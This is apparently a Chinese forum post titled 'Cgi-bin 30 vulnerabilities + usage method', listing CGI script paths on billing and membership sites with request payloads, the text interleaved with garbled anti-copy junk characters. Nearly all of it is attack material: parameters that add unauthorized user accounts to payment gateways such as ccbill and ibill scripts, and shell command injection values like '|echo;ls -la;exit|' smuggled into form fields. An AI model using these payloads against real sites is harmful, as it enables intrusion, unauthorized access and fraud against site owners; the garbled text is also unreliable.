Cgi-bin 30个漏洞＋使用方法

admin

==============================
2 p: T% J1 P( A* y4 W4 U( c
# L+ f  I' V& G. \  u/smspass.pl
username=username&password=password

/index.cgi
wei=ren&gen=command
6 X% S3 \/ J+ I$ ]3 B& S$ W) M
/passmaster.cgi
Action=Add&Username=Username&Password=Password

/accountcreate.cgi
username=username&password=password&ref1=|echo;ls|

/form.cgi
name=xxxx&email=email&subject=xxxx&response=|echo;ls|
* O- y: i6 b" X6 s; I3 F% y
6 s" ^1 U9 B) Q( E/addusr.pl
6 }$ T8 E) e; Z; M# i' S+ U/cgi-bin/EuroDebit/addusr.pl
user=username&pass=Password&confirm=Password

/ccbill-local.asp
- c" s" R5 p; Ypost_values=username:password
: H  _3 q8 T# o
( G  _( ~" v/ m4 D& e, t! V1 h1 p3 l; g/count.cgi
pinfile=|echo;ls -la;exit|

/recon.cgi
  ~+ [7 t7 h& ]9 _6 ~4 Z9 u/recon.cgi?search
* U9 v6 b/ s8 ]) f4 Esearchoption=1&searchfor=|echo;ls -al;exit|

/verotelrum.pl
& v) Q$ l$ a; @, [vercode=username:password:dseegsow:add:amount<&30>

: E5 J; U9 a% P* m; F/af.cgi
_browser_out=|echo;ls -la;exit;|
8 }/ ?4 O7 U9 T- i# P8 j- ?/ D2 Q- p
' V& E# ~4 T+ Y. N/modify.cgi
8 i- I2 i6 D1 P  P( n; c. t9 i7 `username=username&password=password&expire=30
2 J5 e$ Z& p8 d. V8 x; [. ?. ~: u
/openjournal.cgi
edit=1&ct=2&go=|echo;ls -al;exit|

/gx9passwd.cgi
cmd=ADD&user=username&pass=password
3 r, a: j: g7 o' K
/probecontrol.cgi
7 ~4 b* @. _$ V! f. n6 q' ~command=enable&username=username&password=password

/recon.cgi
searchoption=3&searchfor=echo;ls -la;exit
$ N+ K; M1 `8 ^6 O! y3 M$ g
/htadd.pl
configfile=|echo; ls -alt; exit
% y9 `. Z8 d" \7 u' E$ ^
/gx9passwd.cgi
cmd=ADD&user=username&pass=password
) P! c* R2 V9 V
" A2 \2 L* J$ o/ibill*.pl
reqtype=add&authpwd=authpwd&username=username&password=password
2 W) P7 y5 S; l: A  b* G8 S  f3 ?
- ~# o; f) C2 z) h, ?4 m/ \/cpay.cgi
2 ~" @) L  K; j4 w  R/ v) x$ O) \command=add_member&username=username(EMAIL)&password=password(DES)
: @( j4 r* |- F: ^- e
% @5 a  D0 G" v3 B$ F$ K5 d  d/globill_ut.cgi
, O: n" V6 K8 b4 }0 |: a2 O1 T/ ado=add&username=username&password=password&wpassword=password

: R* f6 ~2 c7 G% Q, X/usercontrol.cgi
command=enable&username=USER&password=PASS
7 r- D3 r4 s( u3 T( C# K
/globoSALErum.cgi
action=ADD&seccode=seccode&login=username&password=password
7 w4 ~2 m9 P0 X; @$ b7 k. R
1 ^7 a  ]& `' \4 b5 l/ b9 b/addusr.pl
user=USER&pass=PASS&confirm=PASS
# c/ B! B# q- H4 s$ E
/pincount.cgi
/cgi-bin/mastergate/pincount.cgi
pinfile=|echo;pwd;exit|

/accountcreate.cgi
/cgi-bin/gateway/accountcreate.cgi
3 c  A7 C; W1 Z+ G! M% ousername=username&password=password&password2=password&ref1=|echo;ls -al;exit

/af.cgi
/env.cgi
* `+ I- W1 w7 m% r* |" E# I6 LADD+;echo;pwd;exit
! i5 a( q2 S+ D# u$ a( A
2 p) o  l% s4 J* `6 }' v: ^/count.cgi
pinfile=|echo;pwd;exit|

/recon.cgi
: q: S4 E5 J) g$ Z- gsearchoption=1&searchfor=|echo;ls%20-al;exit|
0 w- M# m  E9 r2 J! H& u
/add.cgi
7 V& o  M/ l' D( \3 Qusername=username&password=password&expire=30

9 P4 C. F* m0 e# \) E) J. @: ^==============================